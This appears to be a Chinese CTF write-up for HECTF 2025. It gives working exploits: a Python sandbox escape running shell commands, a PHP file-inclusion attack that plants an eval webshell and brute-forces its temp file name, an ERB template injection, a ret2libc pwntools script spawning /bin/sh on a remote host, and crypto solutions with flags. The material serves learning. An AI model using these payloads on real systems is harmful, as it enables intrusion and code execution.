​ 先贴一个 payload,最后 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
if 'o'+'s' in b:
b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('whoami')),"_proc").stdout
for o_module in o_modules:
print(o_module)

​ 这里就对这个 payload 就行下讲解就行了,就不一步步进行调试了:

​ 首先,三个 waf 函数里,第二个 waf 作用不是很大,但是会导致 #错误: 执行错误: Disallowed global access: q ,不过像之后那样就不会出现这个报错。第一个主要是杨掉了常见的字段,第三个则是沙箱的核心点,虽然看上去第三个 waf 防的很死,但是用处不大,因为是用的 os._exit() 直接 exit 掉了,所以这里直接给 os 里的这个方法给杨掉就行了,不需要在意,所以这里的 payload 就是:

1
2
3
4
5
6
7
8
9
10
11
12
def waff():
def f():
yield g.gi_frame.f_back
q = (q.gi_frame.f_back.f_back.f_back.f_back.f_globals for _ in [1])
b=[*q][0]
if 'o'+'s' in b:
b['_'*2+'builtins'+'_'*2]['set'+'attr'](b['o'+'s'], "_ex"+"it", print)
return b
b=waff()
o_modules = b['_'*2+'builtins'+'_'*2]['get'+'attr']((b['_'*2+'builtins'+'_'*2]['get'+'attr'](b['o'+'s'], 'po'+'pen')('cat /aaaFffLllA44Ggg')),"_proc").stdout
for o_module in o_modules:
print(o_module)

​ 这里贴一下 k13in 大佬的 poc:

1
2
3
4
5
6
7
8
9
10
11
def f():
x=(x.gi_frame.f_back for _ in [1]); return [*x][0]
fr=f(); k="\x6f\x73".encode().decode("unicode_escape"); p=fr
while p:
g=p.f_globals
if k in g:
o=g[k]
print([e.name for e in o.scandir("/")])
print([e.name for e in o.scandir("/app")])
break
p=p.f_back

# ez_include(复现)

不太一样的文件包含

​ 贴个源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
highlight_file(__FILE__);
$file = $_GET['file'] ?? null;
if ($file === 'tmp') {
$tmpDir = '/tmp';
if (!is_dir($tmpDir) || !is_readable($tmpDir)) {
die("/tmp目录不可访问或不存在");
}

$files = scandir($tmpDir);
if ($files === false) {
die("无法扫描/tmp目录");
}

$phpFiles = [];
foreach ($files as $filename) {
if ($filename !== '.' && $filename !== '..' && strpos($filename, 'php') === 0) {
$phpFiles[] = $filename;
}
}

if (empty($phpFiles)) {
die();
}

foreach ($phpFiles as $name) {
$lastFour = strlen($name) >= 4 ? substr($name, -4) : $name;
echo $lastFour;
}
exit;
}

if (empty($file)) {
die("请传入有效的file参数");
}


function isAllowedFile($file) {
$filterPrefix = 'php://filter/string.strip_tags/resource=';
if (strpos($file, $filterPrefix) === 0) {
$resourcePath = substr($file, strlen($filterPrefix));
$resourceRealPath = realpath($resourcePath);

if ($resourceRealPath === false) {
return false;
}

$tmpBaseDir = realpath('/tmp') . '/';
$allowedIndexPhp = realpath('index.php');

if (strpos($resourceRealPath, $tmpBaseDir) === 0 || $resourceRealPath === $allowedIndexPhp) {
return true;
} else {
return false;
}
}

$realPath = realpath($file);
if ($realPath === false) {
return false;
}

$tmpBaseDir = realpath('/tmp') . '/';
if (strpos($realPath, $tmpBaseDir) === 0) {
return true;
}

$allowedIndexPhp = realpath('index.php');
if ($realPath === $allowedIndexPhp) {
return true;
}

return false;
}


if (!isAllowedFile($file)) {
die("file参数不合法");
}

$includeResult = @include($file);

if ($includeResult === false) {
die("<br>无法包含文件");
}
?>
请传入有效的file参数

​ 存在 $filterPrefix = 'php://filter/string.strip_tags/resource='; ,依稀记得 BUUOJ-[NPUCTF2020] ezinclude 1 这个题里有一个这个伪协议,有个特性:

在上传文件时,如果出现 Segment Fault ,那么上传的临时文件不会被删除。这里的上传文件需要说明一下,一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要 HTTP 请求中存在文件,那么就会被保存为临时文件,当前 HTTP 请求处理完成后,垃圾回收机制会自动删除临时文件。

使 php 陷入死循环直,产生 Segment Fault 的方法:(具体原理未找到,如果有大佬清楚,请告知,感谢。)

  • 使用
1
>php://filter/string.strip_tags/resource=文件
  • 使用
1
>php://filter/convert.quoted-printable-encode/resource=文件
  • 函数要求
  • file
  • file_get_contents
  • readfile

​ 所以直接 PHP LFI 包含临时文件+string.strip_tags 过滤器导致出现 php segment fault

1
2
3
4
5
6
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://8.153.93.57:30372/?file=php://filter/string.strip_tags/resource=index.php"
r=requests.post(url=url,files=data,allow_redirects=False)

​ 之后用 ?file=tmp ,这里功能是扫描临时文件目录,输出 DAyj

1
2
3
4
foreach ($phpFiles as $name) {
$lastFour = strlen($name) >= 4 ? substr($name, -4) : $name;
echo $lastFour;
}

​ 根据这里,可以知道,当输出长度高于 4 的时候输出后四位,那么,这里应该是两位是未知的 php??DAyj ,那么就得爆破

​ 最后爆破出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import string
import time

# 目标URL的基础部分(??为待爆破位置)
base_url = "http://8.153.93.57:30372/?file=/tmp/php{}{}DAyj"

# 爆破字符集:数字 + 大写字母 + 小写字母
chars = string.digits + string.ascii_uppercase + string.ascii_lowercase

# 请求头(根据提供的数据包构造,修正换行语法问题)
headers = {
"Host": "ip",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "BEEFHOOK=v9l9riSiUl5aAaBp1TD92APnVIe94w8whQSHqUW1p9KX43aUihRWqBASlt608WnLT6N4BfmKPSczQ0IN",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
"Content-Type": "application/x-www-form-urlencoded"
}

# POST数据
data = "cmd=phpinfo();"

# 成功标识(phpinfo()的特征内容,可根据实际情况调整)
success_flag = "PHP Version"

# 遍历所有可能的两位组合

for c1 in chars:
for c2 in chars:
# 构造完整URL
target_url = base_url.format(c1, c2)
print(f"尝试: {target_url}")

try:
# 发送POST请求(超时时间10秒)
response = requests.post(
url=target_url,
headers=headers,
data=data,
timeout=10,
verify=False # 忽略SSL证书验证(如果需要)
)

# 检查响应中是否包含成功标识
if success_flag in response.text:
print(f"\n[!] 爆破成功!正确组合: {c1}{c2}")
print(f"[!] 响应内容片段: {response.text[:500]}") # 输出部分响应
exit() # 找到后退出

# 避免请求过于频繁,间隔0.5秒(可根据目标调整)
time.sleep(0.1)

except requests.exceptions.RequestException as e:
print(f"请求错误: {e}")
continue

print("\n[!] 所有组合尝试完毕,未找到匹配结果")
1
2
3
4
[!] 爆破成功!正确组合: jL
[!] 响应内容片段: <code><span style="color: #000000">
<br /></span><span style="color: #0000BB">$file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">]&nbsp;??&nbsp;</span><span style=

​ 成功 RCE,之后就是 RCE 读取文件了:

# 红宝石的恶作剧(复现,先记录下来,细看)

ez_ssti

WP 没看懂,先记录下来,之后研究下

​ 输入 1+1 返回 2,但是输入 {{1*1}} 就报错了,wp 里说这个是 Ruby 环境,存在 ERB 模板注入漏洞,所以用 File.read('/flag'),返回fakeflag 读取 flag,但是返回了个假的 flag: Hello, HECTF{TH1S_lS_a_FAKE_flag}! ,过滤的东西通过动态常量绕过, Object.const_get("File").read("/flag")

# 数据管理系统(复现)

开发小哥为了下班粗心 buff 叠满,够领导拿着板子追着揍半条街。

提示 11.file 参数存在日志泄露

提示 22. 图片包含

​ Hint1 里说的是 file 参数存在日志泄露,结合主页的这里,推测可以通过这个读取到日志文件,可以先去读一下日志文件:

在这里插入图片描述

​ 中间件是 Nginx,然后随便登录下发现登录方式是 GET 并且没加密: /?username=admin&password=asd ,可以读取下 Nginx 的日志文件,来获取账号密码,先用 GET 方式读下: ?file=/var/log/nginx/access.log ,并搜搜下 = admin:

在这里插入图片描述

​ 账号密码有了,但是可能有干扰,得一个个试试,最后试出来这个对了 admin/bdsfasuaosdah42134223829@#!

​ 在个人资料那里找到了文件上传的点,做一个图片马,整一个比较小的 png 图片,然后用 winhex 修改里面的一些内容的十六进制为木马的文本对应的十六进制,能绕过 getimagesize 校验:

在这里插入图片描述

​ 在解压调试界面,分析前端 html,有个这个:
在这里插入图片描述

​ 解压调试下面有个地方写了个 png 文件,那个就是我们传上去的木马文件,不过为啥最后一步的目录是这样的不知道,后面环境关了没来得及写,晚上宿舍断电,复现一半电脑没电关机了,第二天起来环境没了,所以贴一个 wp 里的截图:

在这里插入图片描述

​ 最后尝试包含文件,getshell

在这里插入图片描述

# Pwn:

# nc 一下~

小明从系统后台中发现了一段有问题的日志,你能从中找到奇怪点并且消除吗?

​ nc 一下得到日志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
192.168.220.1 - - [02/Jul/2024:18:53:29 +0800] "GET /01 HTTP/1.1" 301 578 "http://192.168.220.132/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:29 +0800] "GET /01/ HTTP/1.1" 302 336 "http://192.168.220.132/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:29 +0800] "GET /01/login.php HTTP/1.1" 200 1049 "http://192.168.220.132/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:31 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:31 +0800] "GET /01/login.php HTTP/1.1" 200 1058 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:33 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:33 +0800] "GET /01/login.php HTTP/1.1" 200 1062 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:35 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:35 +0800] "GET /01/login.php HTTP/1.1" 200 1065 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:36 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:36 +0800] "GET /01/login.php HTTP/1.1" 200 1068 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:38 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:38 +0800] "GET /01/login.php HTTP/1.1" 200 1070 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:47 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:47 +0800] "GET /01/index.php HTTP/1.1" 200 3033 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:57 +0800] "GET /01/data/upload/ HTTP/1.1" 200 1747 "http://192.168.220.132/01/index.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:14 +0800] "POST /01/data/upload/ HTTP/1.1" 200 1805 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:18 +0800] "GET /01/data/upload/upd0te.php HTTP/1.1" 200 512 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:23 +0800] "GET /01/phpinfo.php HTTP/1.1" 200 25051 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:30 +0800] "GET /01/logout.php HTTP/1.1" 302 337 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:30 +0800] "GET /01/login.php HTTP/1.1" 200 1072 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"

请找到黑客的操作[ 提交答案:病毒上传的时间+病毒名称 ]:

​ 经过分析,发现文件上传漏洞,且相关日志是:

1
2
3
192.168.220.1 - - [02/Jul/2024:18:53:57 +0800] "GET /01/data/upload/ HTTP/1.1" 200 1747 "http://192.168.220.132/01/index.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:14 +0800] "POST /01/data/upload/ HTTP/1.1" 200 1805 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:18 +0800] "GET /01/data/upload/upd0te.php HTTP/1.1" 200 512 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"

​ 第二条很显然,POST 传输文件,第三条直接出现了访问木马的情况,那么第三条就是木马(后面全是 logout 和 login 操作,所以估计就是这两条)那么输入 02/Jul/2024:18:54:14+upd0te.php 通过第一关,第二关是个游戏,没搞懂什么 sum 逻辑,但还是不小心过了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
输入正确!恭喜来到病毒的世界,通过数字对战游戏战胜病毒即可消除它...

================ 数字对战游戏 ===============
1. a、b、c的取值范围是0-9,且选择不能重复
2. 通过某种计算,每局最终的sum值大的一方获胜
3. 先得3分者胜
=============================================

===== 第1局 =====
请输入参数 a :2
请输入参数 b :0
请输入参数 c :9

------ 第1局结果 ------
您的选择:a=2, b=0, c=9
病毒选择:a=0, b=2, c=1
结果:您获胜!
当前比分:您 1 - 0 病毒


===== 第2局 =====
请输入参数 a :3
请输入参数 b :1
请输入参数 c :4

------ 第2局结果 ------
您的选择:a=3, b=1, c=4
病毒选择:a=0, b=1, c=4
结果:病毒获胜!
当前比分:您 1 - 1 病毒


===== 第3局 =====
请输入参数 a :2
请输入参数 b :0
请输入参数 c :3

------ 第3局结果 ------
您的选择:a=2, b=0, c=3
病毒选择:a=1, b=0, c=4
结果:病毒获胜!
当前比分:您 1 - 2 病毒


===== 第4局 =====
请输入参数 a :1
请输入参数 b :0
请输入参数 c :4

------ 第4局结果 ------
您的选择:a=1, b=0, c=4
病毒选择:a=0, b=2, c=1
结果:您获胜!
当前比分:您 2 - 2 病毒


===== 第5局 =====
请输入参数 a :1
请输入参数 b :0
请输入参数 c :4

------ 第5局结果 ------
您的选择:a=1, b=0, c=4
病毒选择:a=0, b=3, c=1
结果:您获胜!
当前比分:您 3 - 2 病毒

===== 比赛结束!=====

===== 所有对局详细记录 ====

----- 第1局 -----
您的选择: a=2, b=0, c=9 | sum值:63.09175
病毒选择: a=0, b=2, c=1 | sum值:53.78512
结果:您获胜

----- 第2局 -----
您的选择: a=3, b=1, c=4 | sum值:58.40205
病毒选择: a=0, b=1, c=4 | sum值:62.10399
结果:病毒获胜

----- 第3局 -----
您的选择: a=2, b=0, c=3 | sum值:65.67390
病毒选择: a=1, b=0, c=4 | sum值:67.33289
结果:病毒获胜

----- 第4局 -----
您的选择: a=1, b=0, c=4 | sum值:67.33289
病毒选择: a=0, b=2, c=1 | sum值:53.78512
结果:您获胜

----- 第5局 -----
您的选择: a=1, b=0, c=4 | sum值:67.33289
病毒选择: a=0, b=3, c=1 | sum值:41.55686
结果:您获胜

===== 最终结果 =====
恭喜您获胜!
病毒悄悄溜走了,并留下了:HECTF{6NhZkUrkgIZdve6dnzXiAEFVpDuVffUv}

# shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 record_purchase()
{
char v1[32]; // [rsp+0h] [rbp-50h] BYREF
char s[32]; // [rsp+20h] [rbp-30h] BYREF
__int64 v3; // [rsp+40h] [rbp-10h] BYREF

puts("Enter product name:");
fgets(s, 32, stdin);
s[strcspn(s, "\n")] = 0;
puts("Enter product price:");
__isoc99_scanf("%d", &v3);
getchar();
puts("Enter purchase description:");
return gets(v1);
}

​ 这里存在栈溢出漏洞,checksec 一下看看没有保护,nx 都没开,不需要尝试泄露 elf_base,逆向到密码: shopadmin123 ,这个函数里存在整数溢出漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int manage_inventory()
{
unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

puts("Enter total purchase amount:");
__isoc99_scanf("%d", &v1);
getchar();
if ( (unsigned int)check_amount(v1) )
return puts("Amount exceeds limit! Access denied.");
puts("Amount verified. Proceeding to record...");
return record_purchase();
}


_BOOL8 __fastcall check_amount(int a1)
{
return a1 >= 0;
}

​ 最后 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
io = remote("47.100.66.83",30527)

io.recvuntil(b"Enter choice:")
io.sendline(b"2")
io.recvuntil(b"Enter admin password:\n")
io.sendline(b"shopadmin123")
io.recvuntil(b"Enter total purchase amount:\n")
io.sendline(b"-1")
io.recvuntil(b"Enter product name:\n")
io.sendline(b"aaaaa")
io.recvuntil(b"Enter product price:\n")
io.sendline(b"1")
io.recvuntil(b"Enter purchase description:\n")

pop_edi_ret = 0x0000000000401240
ret = 0x000000000040101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
record_purchase = elf.symbols["main"]


payload = b"a"*0x58 + p64(ret) + p64(pop_edi_ret) + p64(puts_got) + p64(puts_plt)+ p64(ret) + p64(record_purchase)
io.sendline(payload)
puts_real = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
print(hex(puts_real))
libc_base = puts_real - libc.sym["puts"]
print(hex(libc_base))
syst_addr = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

io.recvuntil(b"Enter choice:")
io.sendline(b"2")
io.recvuntil(b"Enter admin password:\n")
io.sendline(b"shopadmin123")
io.recvuntil(b"Enter total purchase amount:\n")
io.sendline(b"-1")
io.recvuntil(b"Enter product name:\n")
io.sendline(b"aaaaa")
io.recvuntil(b"Enter product price:\n")
io.sendline(b"1")
io.recvuntil(b"Enter purchase description:\n")


payload = b"a"*0x58 + p64(ret) + p64(pop_edi_ret) + p64(binsh) + p64(syst_addr)+ p64(ret) + p64(record_purchase)
io.sendline(payload)

io.interactive()

# Crypto

# 下个棋吧

先别做题了,flag 给你,过来陪我下把棋,对了,别忘了 flag 要大写,RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0=

​ base64 解密得到 DDAVAFGDAX{VGVGXAXDVGXAXDVVVFVGVXVGXA} ,根据下棋内容搜索到是棋盘密码,得到 flag hectf{1145145201314} ,棋盘类型是 ADFGVX。最后 flag 为: HECTF{1145145201314}

# simple_math

一道普通的数学题,我会做数学题,你会做数学题吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
from secret import flag

def getmodule(bits):
while True:
f = getPrime(bits)
g = getPrime(bits)
p = (f<<bits)+g
q = (g<<bits)+f
if isPrime(p) and isPrime(q):
assert p%4 == 3 and q%4 == 3
n = p * q
break
return n

e = 8
n = getmodule(128)

m = bytes_to_long(flag)
c = pow(m,e,n)

print('c =',c)
print('n =',n)

"""
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
"""

​ 有 n,有 c,试着分解 n:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import *
import gmpy2
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
K = 2**128
L = n % K
M_low = (n >> 128) % K
M_high = (n >> 256) % K
H = n >> 384

found = False
for carry in [0, 1]:
A_hi = H - carry
if A_hi < 0 or A_hi >= K:
continue
A = (A_hi << 128) + L
Y = (carry << 256) + (M_high << 128) + M_low
B = Y - (L << 128) - A_hi
if B <= 0:
continue
u_sq = B + 2 * A
d_sq = B - 2 * A
u, u_rem = gmpy2.iroot(u_sq, 2)
d, d_rem = gmpy2.iroot(d_sq, 2)
if not (u_rem and d_rem):
continue
u = int(u)
d = int(d)
f = (u + d) // 2
g = (u - d) // 2
if isPrime(f) and isPrime(g) and f.bit_length() == 128 and g.bit_length() == 128:
p = (f << 128) + g
q = (g << 128) + f
if p * q == n:
found = True
break

print("p:",p)
print("q:",q)

#p: 94775913392603172629814422762806227966393098973930911178857725348364686169243
#q: 63947599994968442166142762354632092599995017543858024932091322657529881751163

​ 有 p,q,n,c,e,但是 e 和 phi 不互素,rabin 进行三次二次开方,可以解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import gmpy2
import libnum
from Cryptodome.Util.number import *

# 已知参数
p = 94775913392603172629814422762806227966393098973930911178857725348364686169243
q = 63947599994968442166142762354632092599995017543858024932091322657529881751163
n = p * q
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
e = 8

def rabin_sqrt(x, p, q, n):
"""
单个值的Rabin二次开方(核心函数):求解 y² ≡ x mod n
返回模n下的4个二次剩余解(Rabin解密的标准4个解)
"""
if x == 0:
return [0]

# 1. 分别在模p、模q下求解二次剩余(利用4k+3素数特性)
yp1 = pow(x, (p + 1) // 4, p)
yp2 = p - yp1 # 模p的两个解
yq1 = pow(x, (q + 1) // 4, q)
yq2 = q - yq1 # 模q的两个解

# 2. 预计算模逆(避免重复计算)
inv_p = gmpy2.invert(p, q)
inv_q = gmpy2.invert(q, p)

# 3. 用中国剩余定理(CRT)合并4种解的组合,得到模n的4个解
# 组合1:yp1 & yq1
y1 = (inv_q * q * yp1 + inv_p * p * yq1) % n
# 组合2:yp1 & yq2
y2 = (inv_q * q * yp1 + inv_p * p * yq2) % n
# 组合3:yp2 & yq1
y3 = (inv_q * q * yp2 + inv_p * p * yq1) % n
# 组合4:yp2 & yq2
y4 = (inv_q * q * yp2 + inv_p * p * yq2) % n

return [int(y1), int(y2), int(y3), int(y4)]

def solve_e8_with_rabin(c, p, q, n):
"""
利用Rabin核心思想求解e=8的情况:m⁸ ≡ c mod n
步骤:连续3次二次开方(8=2³),逐步迭代候选解
"""
# 第1次开方:求解 x1² ≡ c mod n → x1 = m^4(初始候选解)
candidates_1 = rabin_sqrt(c, p, q, n)
print(f"第1次开方(得到m^4的候选解):共{len(candidates_1)}个")

# 第2次开方:对每个x1,求解 x2² ≡ x1 mod n → x2 = m^2
candidates_2 = set() # 用集合去重
for x1 in candidates_1:
res = rabin_sqrt(x1, p, q, n)
candidates_2.update(res)
candidates_2 = list(candidates_2)
print(f"第2次开方(得到m^2的候选解):共{len(candidates_2)}个")

# 第3次开方:对每个x2,求解 x3² ≡ x2 mod n → x3 = m(最终明文候选)
candidates_3 = set()
for x2 in candidates_2:
res = rabin_sqrt(x2, p, q, n)
candidates_3.update(res)
candidates_3 = list(candidates_3)
print(f"第3次开方(得到m的候选解):共{len(candidates_3)}个")

# 验证候选解:确保m^8 ≡ c mod n(过滤无效解)
valid_m = []
for m in candidates_3:
if pow(m, e, n) == c:
valid_m.append(m)

return valid_m

def filter_flag(valid_m):
"""筛选有效flag(可打印字符、含flag格式)"""
print("\n========== 开始筛选有效flag ==========")
for idx, m in enumerate(valid_m):
# 两种字节转换方式(兼容不同库)
bytes1 = long_to_bytes(int(m))
bytes2 = libnum.n2s(int(m))
# 尝试解码为可打印字符串
try:
text1 = bytes1.decode('utf-8', errors='ignore')
text2 = bytes2.decode('utf-8', errors='ignore')
except:
text1 = "无法解码"
text2 = "无法解码"
# 打印候选结果
print(f"\n候选解{idx+1}:")
print(f"明文m:{m}")
print(f"long_to_bytes结果:{bytes1} | 解码后:{text1}")
print(f"libnum.n2s结果:{bytes2} | 解码后:{text2}")
# 筛选含flag标识的有效结果
if "flag" in text1 or "FLAG" in text1 or "flag" in text2 or "FLAG" in text2:
print(f"★ 找到有效flag:{text1 if 'flag' in text1 else text2}")
return m, text1 if 'flag' in text1 else text2
print("\n未自动筛选到flag,请手动查看候选解中的可打印字符串")
return None, None

if __name__ == "__main__":
# 1. 连续3次Rabin开方,求解所有有效明文候选
valid_m_list = solve_e8_with_rabin(c, p, q, n)
print(f"\n验证后有效明文候选数:{len(valid_m_list)}")

# 2. 筛选并输出flag
final_m, final_flag = filter_flag(valid_m_list)

# 3. 最终结果汇总
if final_flag:
print("\n========== 解密完成 ==========")
print(f"最终明文m:{final_m}")
print(f"最终flag:{final_flag}")
else:
print("\n========== 解密结束:未找到明确flag,请手动核对候选解 ==========")


#最终flag:HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}

# MISC

# 签到

关注凌武科技微信公众号,关注公众号后发送 “2025HECTF,启动!!!”,获得小惊喜!!!

​ 做法就是题目描述字面意思。

# Check_In

🎵 🍑🎲⚽🍉 🚃

1
2
ctf i love u -> 🎹🏀🌺 🎵 🍑🎲⚽🍉 🚃
$flag -> 🌹🍉🎹🏀🌺{🚇🍉🍑🎹🎲⚾🍉_🏀🎲_🌹🍉🎹🏀🌺_🌹🎲🏉🍉_💎🎲🚃_🎹🏓🌾_🍉🌾🍇🎲💎_🎵🏀}

​ 这几个是一一对应的,hectf 就是🌹🍉🎹🏀🌺,可以得到一一对应的关系,之后得到:

1
